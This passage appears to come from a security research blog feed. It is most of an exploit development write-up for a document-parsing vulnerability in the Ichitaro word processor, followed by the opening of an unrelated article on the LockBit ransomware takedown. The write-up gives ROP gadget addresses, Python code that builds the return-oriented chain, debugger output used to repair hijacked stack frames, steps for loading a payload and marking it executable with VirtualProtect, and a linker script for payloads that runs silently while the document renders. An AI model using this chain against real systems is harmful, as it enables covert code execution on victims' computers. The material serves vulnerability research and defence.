JSAPRUN.DLL     0x6108d2c6: add esp, dword ptr [ecx - 0x18]; fnstsw word ptr [ecx - 7]; call dword ptr [ecx - 0x7d]; 
JSAPRUN.DLL     0x61037b04: add esp, dword ptr [ecx - 0x18]; lahf; sar esi, 1; call dword ptr [ecx + 0x68];
JSAPRUN.DLL     0x61029acd: add esp, dword ptr [ecx - 0x18]; salc; mov cl, 0xff; call dword ptr [ecx + 0x56]
</code></pre><h2 id="generalizations-on-instruction-sequence-reuse">Generalizations on Instruction Sequence Reuse</h2><p>When putting together the chunks that are necessary for loading arbitrary code, each sequence contains a side effect that contributes to the necessity of said chunk, and an attribute that determines the method by which one can continue execution from it. For the second attribute, an instruction sequence can continue its execution in only a few ways.</p><p>The first method is generally recognized as return-oriented programming and requires control of memory that resides within a stack frame. The second method involves the combination of branch instruction and an immediate register which requires arithmetic and control of the register to continue execution. The third method involves a dereference and a branch instruction. This method requires control of an address that is relative to a register, or a branch that references a global within the address-space of the target and control of said memory location. There is a fourth method that involves runtime or operating-system-provided facilities, however, this method has not been explored within the provided exploit.</p><p>The two types of branches that are necessary to leverage each of these methods are a preserved branch which preserves some aspect of the current execution scope, or a direct branch which either discards or does not have any effect on the current scope. Generally, the primary characteristic that distinguishes whether a desired sequence can be continued from the chunk that was previously executed relies on how it may affect the stack pointer upon its entry and its exit. This is a result of the stack pointer, in essence, having similar characteristics as the instruction pointer with regard to instructions that affect it.</p><p>Based on these assumptions, the table containing the offsets of the sequences containing the necessary side effects leveraged during the exploitation process keeps track of two pieces of data. The first is the stack delta for the entirety of each chunk (excluding the stack delta if the sequence directly influences the stack pointer). The second piece of data involves any adjustments that may be applied to the stack pointer after the code chunk has continued execution to its following sequence.</p><p>From these two pieces of data, the following Python code can be used to isolate the process of chaining sequences together from the process of putting together the necessary side-effects for leveraging code execution. By implementing this abstraction, this has the effect of simplifying the stack layout process enabling an implementer to put together code sequences in a way that is better oriented toward reusability.</p><pre><code class="language-Python">class StackReceiver(object):
    def __init__(self, receiver):
        self._receiver = receiver
        self._state = coro = self.__sender(receiver)
        next(coro)

    def sender(self, receive_word):
        release = None
        while True:
            while not release:
                offset = (yield)
                receive_word(offset)
                adjust = (yield)
                if adjust and isinstance(adjust, (tuple, list)):
                    [receive_word(integer) for integer in adjust]
                elif adjust:
                    receive_word(dyn.block(adjust)))
                release = (yield)

            offset = (yield)
            receive_word(offset)
            if isinstance(release, (tuple, list)):
                [receive_word(integer) for integer in release]
            else:
                receive_word(dyn.block(release))

            adjust = (yield)
            if adjust and isinstance(adjust, (tuple, list)): 
                [receive_word(integer) for integer in adjust]
            elif adjust:
                receive_word(dyn.block(adjust)))
                
            release = (yield)
        return

    def send(self, snippet, *integers):
        &apos;&apos;&apos;Simulate a return.&apos;&apos;&apos;
        state = self._state
        offset, adjust, release = snippet
        state.send(offset)
        state.send(integers if integers else adjust)
        state.send(release)

    def call(self, offset, *parameters):
        &apos;&apos;&apos;Simulate a call.&apos;&apos;&apos;
        state = self._state
        offset, adjust, release = offset if isinstance(offset, (tuple, list)) else (offset, 0, 0)
        state.send(offset)
        state.send(None)
        state.send(parameters)

    def skip(self, count):
        &apos;&apos;&apos;Clean up any extra parameters assumed by the current calling convention.&apos;&apos;&apos;
        state = self._state
        if count:
            state.send(0)
            state.send([0] * (count - 1)) if count &gt; 1 else state.send(None)
            state.send(None)
        return

### Example usage
layout = []
stack = StackReceiver(layout.append)

# assign %eax with the delta from our original frame to &amp;lp_oframe_230 or &amp;ap_oframe_0.
# this way we can dereference it to get access to the contents of the object_OFRM.
delta_oframe = scope_pivot[&apos;F3C1FAF0F&apos;][&apos;ap_oframe_0&apos;].getoffset() - scope_pivot[&apos;F3BBB2DE4&apos;][&apos; s&apos;].getoffset()
delta_oframe = scope_pivot[&apos;F3C1FAF0F&apos;][&apos;lp_oframe_230&apos;].getoffset() - scope_pivot[&apos;F3BBB2DE4&apos;][&apos; s&apos;].getoffset()

stack.send(JSAPRUN.assign_pop_eax, delta_oframe)
stack.send(JSAPRUN.arithmetic_add_ebp_eax)

# now we can dereference %eax to point at the object_OFRM representing our document.
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)
stack.send(JSAPRUN.assign_esi_eax, 0)

# adjust %eax by +4 so that we can load the value from object_OFRM.v_index_4 into %esi.
# the integer at this index is a handle and is all we need to create a fake object_OFRM.
stack.send(JSAPRUN.arithmetic_add_imm4_eax)
stack.send(JSAPRUN.assign_pop_esi, 0)
stack.send(JSAPRUN.arithmetic_addload_eax_esi)

...

# stash %ecx containing our context into %ebx for the purpose of preserving our context.
# this way we can restore it later from %ebx to regain access to our current state.
stack.send(JSAPRUN.assign_ecx_eax)
stack.send(JSAPRUN.exchange_eax_ebx)

# void *__thiscall JSAPRUN.dll!method_mallocPageAndSurplus_7ebee(_DWORD *this, size_t av_size_0)
# this function allocates a page (0x1000) and writes it to 0x24(%ecx). if av_0 &gt; 0x1000, then it
# also returns a pointer to that number of bytes and does nothing else.
stack.call(JSAPRUN.procedure_method_mallocPageAndSurplus_7ebee, 0x1001, 0x11111111)
stack.send(JSAPRUN.arithmetic_add_imm4_esp)

...

# open up a stream by its name, layout.frame.stream_name. %ecx contains our fake object_OFRM.
new_context = layout[&apos;context&apos;][&apos;object(OSEG)&apos;]
assert(not(divmod(new_context.int() - layout[&apos;context&apos;].getoffset(), 4)[1])), &quot;Result {:s} is unaligned from {:s} and will not be accessible&quot;.format(layout[&apos;context&apos;][&apos;object(OSEG)&apos;].instance(), layout[&apos;context&apos;].instance())
stack.send(JSAPRUN.assign_pop_eax, layout[&apos;object_OFRM.vftable&apos;].getoffset())
# int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
stack.send(JSAPRUN.callsib1_N_eax_c__ecx, layout[&apos;frame&apos;][&apos;stream_name&apos;].getoffset(), 0x22222222, 3, 0x33333333, new_context.getoffset())

# copy the %ebx containing our context back into %ecx.
stack.send(JSAPRUN.assign_pop_ecx, 0)
stack.send(JSAPRUN.exchange_eax_ebx)
stack.send(JSAPRUN.arithmetic_add_eax_ecx)
stack.send(JSAPRUN.exchange_eax_ebx)
</code></pre><p>A few more abstractions around this concept were developed to allow further flexibility such as marking a specific slot on the stack relative to another code chunk, and then using the side effect of a prior sequence to load from or store a value to that slot. By combining the second or third execution-retaining methods with a preserving-branch instruction, primitive looping constructs are possible without the need for conditional branches through the simulation of a jump table. This is useful for the situation where the amount of data being processed by each sequence is of a non-static length and dependent on a value only available during runtime.</p><pre><code class="language-Python">class ReceiverMarker(StackReceiver):
    &apos;&apos;&apos;Experimental class for referencing a specific slot within the stack and marking the snippet where the slot is referenced.&apos;&apos;&apos;
    def __init__(self):
        self._collected = collected = []
        super(ReceiverMarker, self).__init__(collected.append)
        self._marked = []

    def use(self, snippet, *integers):
        &apos;&apos;&apos;Mark the specified snippet where a slot should be calculated from.&apos;&apos;&apos;
        self.send(snippet, *integers)
        self._marked = self._collected[:]

class Stacker(StackReceiver):
    &apos;&apos;&apos;Experimental class for referencing a specific slot within the stack to be either read from or written to.&apos;&apos;&apos;
    def __init__(self, stack):
        super(Stacker, self).__init__(stack.append)
        self._stack = stack

    @contextlib.contextmanager
    def reference(self, snippet, *integers, **index):
        &apos;&apos;&apos;Reference a slot within the stack and use it as a parameter to the specified snippet.&apos;&apos;&apos;
        marker = ReceiverMarker()
        try:
            abort = None
            yield marker
        except Exception as exception:
            abort = exception
        finally:
            if abort: raise abort

        # build the stack containing the entire contents that were collected.
        tempstack = parray.type(_object_=ptype.pointer_t).a
        [ tempstack.append(item) for item in marker._collected ]

        # build the stack that was marked by the caller.
        markstack = parray.type(_object_=ptype.pointer_t).a
        [ markstack.append(item) for item in marker._marked ]

        # build the stack that is being used to adjust towards a specific index.
        adjuststack = parray.type(_object_=ptype.pointer_t)
        adjuststack = adjuststack.alloc(length=index.get(&apos;index&apos;, 0))

        # push the caller&apos;s requested instruction onto the stack using the size that was marked.
        state = self._state
        offset, adjust, release = snippet
        state.send(offset)
        items = [item for item in integers]
        state.send(items + [tempstack.size() - markstack.size() + adjuststack.size()])
        state.send(release)

        # now we can push all of the elements that the caller wanted onto the stack.
        Freceive = self._receiver
        [ Freceive(item) for item in tempstack ]
</code></pre><p>The following listing is an example of the usage of the prior-mentioned abstractions.</p><pre><code class="language-Python"># load the page from layout.vprotect.dynamic_buffer into %edi which was written to 0x24(%ecx) earlier.
stack.send(JSAPRUN.assign_pop_eax, divmod(layout[&apos;vprotect&apos;][&apos;dynamic_buffer&apos;].getoffset() - layout[&apos;context&apos;].getoffset(), 4)[0])
stack.send(JSAPRUN.load_slotX_eax_eax)
stack.send(JSAPRUN.exchange_eax_edi)
stack.send(JSAPRUN.return_0)

# now we write %edi directly into slot 1 of whatever follows us.
with stack.reference(JSAPRUN.assign_pop_eax, index=1) as store:
    store.use(JSAPRUN.store_edi_sib1_eax_esp_0)     # mark the index from this stack position
    store.send(JSAPRUN.assign_pop_eax, layout[&apos;object_OSEG.vftable&apos;].getoffset() - layout[&apos;context&apos;].getoffset())
    store.send(JSAPRUN.arithmetic_add_eax_ecx)

    # adjust %ecx to move from layout.context to layout.object_OSEG.vftable so
    # that we can eventually call 8(%ecx) later to read from the opened stream.
    delta_object_oseg = layout[&apos;context&apos;][&apos;object(OSEG)&apos;].getoffset() - layout[&apos;object_OSEG.vftable&apos;].getoffset()
    assert(not(delta_object_oseg % 4)), &quot;{:s} is not aligned from {:s} and will be inaccessible.&quot;.format(layout[&apos;context&apos;][&apos;object(OSEG)&apos;].instance(), layout[&apos;object_OSEG.vftable&apos;].instance())
    store.send(JSAPRUN.assign_pop_eax, divmod(delta_object_oseg, 4)[0])
    store.send(JSAPRUN.load_slotX_eax_eax)

# &quot;store.use&quot; overwrites index 0+1, 0xBBBBBBBB, in the following sequence.
# int __stdcall object_OSEG::method_read_2c310(JSVDA::object_OSEG *ap_object_0, BYTE *ap_buffer_8, int av_size_c, int *ap_resultSize_c)
stack.send(JSVDA.callsib1_N_ecx_8__eax__ecx, 0xBBBBBBBB, 0x1000, layout[&apos;unused_result&apos;].getoffset())

# calling object_OSEG::method_read_2c310 cleans up all args, but prior
# sequence misses 1.. which we take care of here.
stack.skip(1)
</code></pre><h2 id="repairing-the-frame">Repairing the frame</h2><p>In a previous section, we&#x2019;ve combined all of the capabilities that we&#x2019;ve developed and can completely control the execution of the current thread with data that was read from the stream containing our vulnerability. We&#x2019;ve also successfully developed a methodology that enables us to execute multiple sequences of instructions in succession. Normally this should be enough, however, at the time that we&#x2019;ve taken control of the instruction pointer, all of the streams belonging to the document have completely gone out of scope.</p><p>Another thing of concern is that we&#x2019;ve used our control of the frame pointer to swap the virtual method table of the only object that is responsible for referencing the contents of our document. This results in the document being completely inaccessible to us at this point in execution, and prevents us from returning to the application when we&#x2019;re done. We can avoid this, however, if we can repair the frame and re-create the objects that were in scope at the time the application was supposed to complete its parsing of the document stream.</p><p>Hence, our next step requires us to discover a way of restoring the functionality to access the contents of our document. Fortunately, we can use the frame pointer that is stored within the <code>%ebp</code> register to access the frame of our caller. This allows us to use it as a reference point and to access any information that was previously in the stack. Hence, when we use our ability to execute sequences of prior loaded instructions, we will need to preserve this register as it is our only gateway into the application&#x2019;s original stack.</p><p>During the execution of our sequences, we can also use the <code>%ecx</code> about register that we took control of when modifying the frame pointer. This can be leveraged as a reference point to access or store any information to the forged object that was created with our vulnerability. It is also worth considering that the calling convention for the application preserves registers when executing a different function. As a result, the <code>%ebx</code>, <code>%esi</code>, and <code>%edi</code> registers can also be used to preserve any values that we need when our sequences dispatch back into the process after they fulfill our needs.</p><p>Reviewing the call-stack at the time that the virtual method from our forged object is called shows that we are 4 frames away from the function whose frame we hijacked. Hence, we will need to know the sizes of these frames if we want to access any of their contents. The diagram that follows shows each of these frames along with their sizes. In this diagram, the frame pointer within the <code>%ebp</code> register was preserved in the frame for <code>object_OFRM::openStreamByName?_132de4</code> at <code>0x3BBB2DE4</code>, and references the frame pointer farther up the call stack and preserved in the function for <code>object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be</code> at <code>0x3BE276BE</code>.</p><pre><code class="language-Python"># Assign the path through the backtrace that ends up dereferencing from our virtual method table.
Python&gt; backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]

Python&gt; pp(listmap(func.name, backtrace))
[&apos;object_OFRM::openStreamByName?_132de4&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be&apos;,
 &apos;object_9c2044::parseStream(DocumentEditStyles)_3a6cb2&apos;,
 &apos;object_9c2044::method_processStreams_77af0f&apos;]

# Grab the frame members for each function in the backtrace in order to study their layout.
Python&gt; layout = struc.right(func.frame(backtrace[-1]), [func.frame(f) for f in backtrace[:-1]])

# Display each of the frames.
Python&gt; pp(layout)
[&lt;class &apos;structure&apos; name=&apos;$ F3BBB2DE4&apos; offset=-0x344 size=0x20&gt;,
 &lt;class &apos;structure&apos; name=&apos;$ F3BE276BE&apos; offset=-0x324 size=0xa8&gt;,
 &lt;class &apos;structure&apos; name=&apos;$ F3BE26CB2&apos; offset=-0x27c size=0x18&gt;,
 &lt;class &apos;structure&apos; name=&apos;$ F3C1FAF0F&apos; offset=-0x264 size=0x278&gt;]

# List the location of each preserved frame pointer in our callstack.
Python&gt; [(print(frame), frame.list(&apos; *&apos;)) for frame in layout]
&lt;class &apos;structure&apos; name=&apos;$ F3BBB2DE4&apos; offset=-0x344 size=0x20&gt;
[2]  -33c:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[3]  -338:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
&lt;class &apos;structure&apos; name=&apos;$ F3BE276BE&apos; offset=-0x324 size=0xa8&gt;
[25] -298:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[26] -294:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
&lt;class &apos;structure&apos; name=&apos;$ F3BE26CB2&apos; offset=-0x27c size=0x18&gt;
[0]  -278:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[1]  -274:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
&lt;class &apos;structure&apos; name=&apos;$ F3C1FAF0F&apos; offset=-0x264 size=0x278&gt;
[ 9]   -8:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[10]   -4:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]</code></pre><p>After we stash the state of the frame pointer during execution, we then use it to immediately repair the frame pointer that was hijacked farther up the stack in the <code>object_9c2044::method_processStreams_77af0f</code> at <code>0x3C1FAF0F</code>. Since we know what the original value for the frame pointer was intended to be, we can add the distance between the calculations of what the original frame pointer was before we overwrote it with the vulnerability.</p><pre><code class="language-Python"># Owner of the frame pointer that we have access to.
Python&gt; func.name(func.by(layout[0]))
&apos;object_OFRM::openStreamByName?_132de4&apos;

Python&gt; layout[0].members.list(&apos; *&apos;)
[2] -33c:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[3] -338:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]

# Owner of the frame pointer that we&apos;ve overwritten.
Python&gt; func.name(func.by(layout[-1]))
&apos;object_9c2044::method_processStreams_77af0f&apos;

Python&gt; layout[-1].members.list(&apos; *&apos;)
[ 9] -8:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[10] -4:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]

# Calculate the delta between both of these locations.
Python&gt; layout[-1].members.by(&apos; s&apos;).offset - layout[0].members.by(&apos; s&apos;).offset
0x334</code></pre><p>This is done by taking the difference between the &quot; <code>s</code>&quot; field in frame <code>0x3BBB2DE4</code> which is our overwritten frame pointer value, and the &quot; <code>s</code>&quot; field in frame <code>0x3C1FAF0F</code> which is the correct value before overwriting the frame pointer. The result of this calculation is <code>0x334</code> bytes, and we only need to add this value to our current frame pointer in the <em><code>%ebp</code></em> register to determine the correct value.</p><p>We&apos;ll also need to do a similar calculation to locate the saved frame pointer that was overwritten for us to write our correct value to it. This is demonstrated in the listing that follows. Instead of using the &quot; <code>s</code>&quot; field in frame <code>0x3C1FAF0F</code>, we&apos;ll need to use the &quot; <code>s</code>&quot; field in frame <code>0x3BE26CB2</code>. The distance to correct the overwritten frame pointer is then calculated as <code>+0xC4</code>. Utilizing both values allows us to completely repair the frame and return the application to the state before our modifications after we&apos;ve accomplished our goal.</p><pre><code class="language-Python"># Display the layout that we&apos;ll be examining.
Python&gt; pp(layout[:-1])
[&lt;class &apos;structure&apos; name=&apos;$ F3BBB2DE4&apos; offset=-0x344 size=0x20&gt;,
 &lt;class &apos;structure&apos; name=&apos;$ F3BE276BE&apos; offset=-0x324 size=0xa8&gt;,
 &lt;class &apos;structure&apos; name=&apos;$ F3BE26CB2&apos; offset=-0x27c size=0x18&gt;]

Python&gt; pp(listmap(func.name, map(func.by, layout[:-1])))
[&apos;object_OFRM::openStreamByName?_132de4&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be&apos;,
 &apos;object_9c2044::parseStream(DocumentEditStyles)_3a6cb2&apos;]

# Identify the two members that we will need to use to locate the frame pointer
# that we will need to overwrite in order to repair the call stack.
Python&gt; pp((layout[0].members.by(&apos; s&apos;), layout[2].members.by(&apos; s&apos;)))
(&lt;member &apos;$ F3BBB2DE4. s&apos; index=2 offset=-0x33c size=+0x4 typeinfo=&apos;char[4]&apos;&gt;,
 &lt;member &apos;$ F3BE26CB2. s&apos; index=0 offset=-0x278 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;)

# Calculate the difference between the current frame pointer, and the preserved
# frame pointer that we will overwrite.
Python&gt; layout[0].members.by(&apos; s&apos;).offset - layout[2].members.by(&apos; s&apos;).offset
-0xc4</code></pre><h2 id="loading-the-contents-of-a-stream">Loading the contents of a stream</h2><p>After repairing the frame, we still need some way of loading a payload into the address space to mark it as executable and then execute it. Since we hijacked execution after the stream that contained the vulnerability was closed by the application, we&apos;ll need some other means to load our code. Fortunately, as we have access to the scope of the stream parsing, we can reuse anything available within the stack to perform this. This is only possible because the <code>JSVDA.DLL</code> module, which contains the necessary functionality to interact with a document object, is at a known address, and the document is stored within the application as a single handle. Thus, only the object&apos;s handle and its virtual method table are necessary to forge our own instance of the document object, and we&#x2019;ll need to reference it to restore the ability to read from the document back to the application.</p><p>Revisiting the call stack containing the scope of the document parser to the point where we hijack execution, we need the distance between our saved frame pointer and the field inside the frame for the <code>object_9c2044::method_processStreams_77af0f</code> function at <code>0x3C1FAF0F</code> which contains the document object. In the following listing, the <code>ap_oframe_0</code> field contains the document object of type <code>JSVDA::object_OFRM</code> that was passed in from its caller, and then the <code>lp_oframe_230</code> local variable in the frame maintains a copy of it for the method. Once we&apos;ve calculated the distance between our current frame pointer and the location of one of these objects, we can simply load the object&apos;s handle from its list of properties, and then use it anywhere to access the contents of the loaded document.</p><pre><code class="language-Python">Python&gt; callstack = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f]
Python&gt; pp(listmap(func.name, callstack))
[&apos;object_OFRM::openStreamByName?_132de4&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be&apos;,
 &apos;object_9c2044::parseStream(DocumentEditStyles)_3a6cb2&apos;,
 &apos;object_9c2044::method_processStreams_77af0f&apos;]

# Convert our callstack into a list of frames.
Python&gt; layout = struc.right(func.frame(callstack[-1]), listmap(func.frame, callstack[:-1]))

# List all frame variables that have a type.
Python&gt; layout[-1].list(typed=True)
[ 4] -254:+0x18  frame_77af0f::field_24c &apos;lv_struc_24c&apos;      &lt;class &apos;structure&apos; name=&apos;frame_77af0f::field_24c&apos; offset=-0x254 size=0x18&gt;
[ 6] -238:+0x4       JSVDA::object_OFRM* &apos;lp_oframe_230&apos;     (&lt;class &apos;type&apos;&gt;, 4)
[ 7] -234:+0x228           object_2f27f8 &apos;lv_object_22c&apos;     &lt;class &apos;structure&apos; name=&apos;object_2f27f8&apos; offset=-0x234 size=0x228&gt;
[11]    0:+0x4       JSVDA::object_OFRM* &apos;ap_oframe_0&apos;       (&lt;class &apos;type&apos;&gt;, 4)
[12]    4:+0x4              unsigned int &apos;av_documentType_4&apos; (&lt;class &apos;int&apos;&gt;, 4)
[13]    8:+0x4              unsigned int &apos;av_flags_8&apos;        (&lt;class &apos;int&apos;&gt;, 4)
[14]    c:+0x4             struc_79aa9a* &apos;ap_stackobject_c&apos;  (&lt;class &apos;type&apos;&gt;, 4)
[15]   10:+0x4                       int &apos;ap_null_10&apos;        (&lt;class &apos;int&apos;&gt;, 4)

# List all frame variables that reference the object used to read from an opened document.
Python&gt; layout[-1].list(structure=struc.by(&apos;JSVDA::object_OFRM&apos;))
[ 6] -238:+0x4 JSVDA::object_OFRM* &apos;lp_oframe_230&apos; (&lt;class &apos;type&apos;&gt;, 4)
[11]    0:+0x4 JSVDA::object_OFRM* &apos;ap_oframe_0&apos;   (&lt;class &apos;type&apos;&gt;, 4)</code></pre><p>In the exploit, we leverage our vulnerability to store an address to the forged object&apos;s virtual method table in memory. Thus, to complete the object, we only need to write the handle from the document object that we loaded from farther up our call stack to its correct place after the virtual method table. At this point, we can call any of its methods to use our copy of it. The following listing is the simple layout of this object.</p><pre><code class="language-Python">Python&gt;struc.search(&apos;*_OFRM&apos;).members
&lt;class &apos;structure&apos; name=&apos;JSVDA::object_OFRM&apos; size=0x8&gt;  # [alloc.tag] OFRM
[0] 0+0x4 int &apos;p_vftable_0&apos; (&lt;class &apos;int&apos;&gt;, 4)          # [vftable] 0x278186F0
[1] 4+0x4 int &apos;v_index_4&apos;   (&lt;class &apos;int&apos;&gt;, 4)          # {&apos;note&apos;: &apos;object_117c5 handle&apos;, &apos;alloc.tag&apos;: &apos;MFCM&apos;}</code></pre><p>Afterward, the rest of the process is straightforward. To allocate a page of memory, we use another method within the same module. We copy the original virtual method table back into our forged object and then reuse it to open up an arbitrary stream from the file and return another object for the stream. Using this stream object, we read the contents of the opened stream into the allocated page of memory.</p><p>To make this allocated page of memory executable, we reuse a wrapper around one of the imports within the same module to call &quot;<code>VirtualProtect</code>&quot;. Finally, we call our stub for the loaded code to initialize the payload and branch to its real entry point. Once the payload completes its execution and returns to us, we set a successful return code so that the <code>0x3C1FAF0F</code> function believes that the stream was parsed successfully. At this point, our payload is successfully executing in the background and the application has completely rendered the document.</p><h1 id="using-a-compiler">Using a compiler</h1><p>After the process for loading the desired code into the address space is complete, it is generally publically agreed upon to directly include &#x201C;shellcode&#x201D; to maintain execution within the context of the exploited process. Shellcode involves generated or hand-written assembly code that is used to demonstrate control of execution. Alternatively, one can simply leverage open-source compiler tools to implement their payload in a language with higher-level abstractions. This is not only limited to closed-source compilers, however, as one can implement a basic linker with a stub at the entry point of the linked code that is responsible for applying the necessary relocations to its data and then loading the final payload. This is not dissimilar to the <a href="https://github.com/stephenfewer/ReflectiveDLLInjection" rel="noreferrer"><u>reflective DLL injection technique</u></a> from Stephen Fewer.</p><p>The following linker script can be used with the MinGW port of the GNU linker (ld) to emit a contiguous binary that may be loaded into the context of a process. This linker script isolates the entry point from the contiguous pages that need to be mapped as executable and the pages that need to be mapped as writable. After the data and executable code has been properly mapped, an implementer will then need to apply <code>__load_size</code> relocations that are stored between the <code>__load_reloc_start</code> and <code>__load_reloc_stop</code> symbols. If imports are included in the linked target, these end up being stored between the <code>__load_import_start</code> and <code>__load_import_end</code> symbols.</p><pre><code class="language-javascript">ENTRY(_start)
STARTUP(src/entry.o)
TARGET(pe-i386)

SECTIONS {
    HIDDEN(_loc_counter = .);
    HIDDEN(_loc_align = 0x10);

    .load _loc_counter : {
        __load_start = ABSOLUTE(.);
        KEEP(*(.init))
        KEEP(*(.fini))
        . = ALIGN(_loc_align);

        __load_size = .; LONG(__load_end - __load_start);
        __load_segment_start = .; LONG(__segment_start);
        __load_segment_end = .; LONG(__segment_end);
        __load_reloc_start = .; LONG(__reloc_start);
        __load_reloc_end = .; LONG(__reloc_end);
        __load_import_start = .; LONG(__import_start);
        __load_import_end = .; LONG(__import_end);

        __load_end = ABSOLUTE(.);
        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.load);

    .imports _loc_counter : {
        __import_size = ABSOLUTE(.); LONG(__import_end - __import_start);
        __import_start = ABSOLUTE(.);
        *(.idata)
        *(SORT_BY_NAME(.idata$*))
        __import_end = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.imports);

    __segment_start = ABSOLUTE(.);

    .text _loc_counter : {
        *(.text)
        *(SORT_BY_NAME(.text$*))
        *(.text.*)
        . = ALIGN(_loc_align);

        __CTOR_LIST__ = ABSOLUTE(.);
        LONG((__CTOR_END__ - __CTOR_LIST__) / 4 - 2);
        KEEP(*(.ctors));
        KEEP(*(.ctor));
        KEEP(*SORT_BY_NAME(.ctors.*));
        LONG(0);
        __CTOR_END__ = ABSOLUTE(.);

        __DTOR_LIST__ = ABSOLUTE(.);
        LONG((__DTOR_END__ - __DTOR_LIST__) / 4 - 2);
        KEEP(*(.dtors));
        KEEP(*(.dtor));
        KEEP(*SORT_BY_NAME(.dtors.*));
        LONG(0);
        __DTOR_END__ = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.text);

    .data _loc_counter : {
        *(.data)
        *(SORT_BY_NAME(.data$*))
        *(.data.*)
        *(.*data)
        *(.*data.*)

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.data);

    __segment_end = ABSOLUTE(.);

    .relocations _loc_counter : {
        __reloc_size = ABSOLUTE(.); LONG(__reloc_end - __reloc_start);
        __reloc_start = ABSOLUTE(.);
        *(.reloc)
        __reloc_end = ABSOLUTE(.);

        . = ALIGN(_loc_align);
    }
    _loc_counter += SIZEOF(.relocations);

    .bss (NOLOAD) : {
        *(.bss)
        *(COMMON)
    }

    .discarded (NOLOAD) : {
        *(.*)
    }

    __end__ = _loc_counter;
}</code></pre><p>By implementing the logic required to map the chosen segments into memory and applying the necessary relocations, dependence on the platform&#x2019;s runtime linker can be avoided entirely. After this, an implementer can then <a href="https://github.com/Chuyu-Team/VC-LTL5"><u>initialize the runtime for their desired language</u></a> and develop more complicated payloads in a language that better facilitates their needs.</p><p>Alternatively, a linker for the PECOFF object and archive formats is also included with the exploit in case the implementer prefers to use a closed-source compiler for their payload. This linker will take a list of input files and emit a block of binary data that when executed by the exploit will load and execute the implemented payload.</p><h1 id="finishing-up">Finishing up</h1><p>After our loaded code has been successfully executed, we only need to set the <code>%eax</code> register to a correct value to tell the caller that either the stream could not be opened, or it has been opened successfully. After assigning the result, we need to use a regular frame pointer exit to leave the hijacked function and resume execution as if nothing happened. The following two addresses will do exactly that. Because the hijacked frame pointer had previously been repaired before executing our payload, the application will continue to attempt to parse and load the rest of the contents for the document as if nothing terrible has happened.</p><pre><code class="language-javascript">JSAPRUN.DLL    0x6100e5cf: pop eax; ret;
JSAPRUN.DLL    0x6100104f: leave; ret;</code></pre><h1 id="conclusion">Conclusion</h1><p>When it comes to exploiting memory corruption vulnerabilities on modern operating systems, the time of generic exploitation techniques is long gone. Exploitation techniques are application-specific and developing them requires a far deeper understanding of their inner workings, often ones that original developers are unaware of due to abstractions of high-level languages. While the presence of an interactive execution environment or a scripting language offers almost limitless exploitation flexibility, in environments like Ichitaro&#x2019;s an exploit developer has to chain together many different side-effects to achieve a one-shot exploit.</p><p>In the case presented, a single vulnerability was abused to ultimately achieve arbitrary code execution. This is often not the case where exploits require chaining multiple vulnerabilities. This often makes it difficult to judge the severity of individual vulnerabilities but exploitation demonstrations like the one presented here develop an equivalence class that enables us to make informed decisions without demonstrating exploitation for every instance.&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions]]></title><description><![CDATA[Talos explores the recent law enforcement takedown of LockBit, a prolific ransomware group that claimed to resume their operations 7 days later. ]]></description><link>https://blog.talosintelligence.com/ransomware-affiliate-model/</link><guid isPermaLink="false">65f168b3405eeb00019472ab</guid><category><![CDATA[The Need to Know]]></category><dc:creator><![CDATA[Thorsten Rosendahl]]></dc:creator><pubDate>Fri, 15 Mar 2024 14:00:14 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/lockbit-blog.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/lockbit-blog.jpg" alt="The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions"><p>In ancient Greek mythos, the mighty Hercules faced a seemingly insurmountable challenge when he encountered the Lernaean Hydra.&#xA0;This fearsome serpent had a terrifying ability: For every head that Hercules severed, two more would spring forth, creating a never-ending cycle of regrowth and renewal.&#xA0;</p><p>Much&#xA0;like&#xA0;the Hydra, modern ransomware gangs present society with a daunting task. When law enforcement manages to take one adversary or low-level member off the streets, the victory is often short-lived. In the hidden depths of these criminal organizations, the heads &#x2014; or leaders &#x2014; remain shrouded in shadow, orchestrating their operations often with impunity.&#xA0;</p><p>And so, as one member falls, two more may rise to take their place, perpetuating an enduring saga of illicit activity that are the challenges of our time: the ransomware ecosystem.&#xA0;A landscape 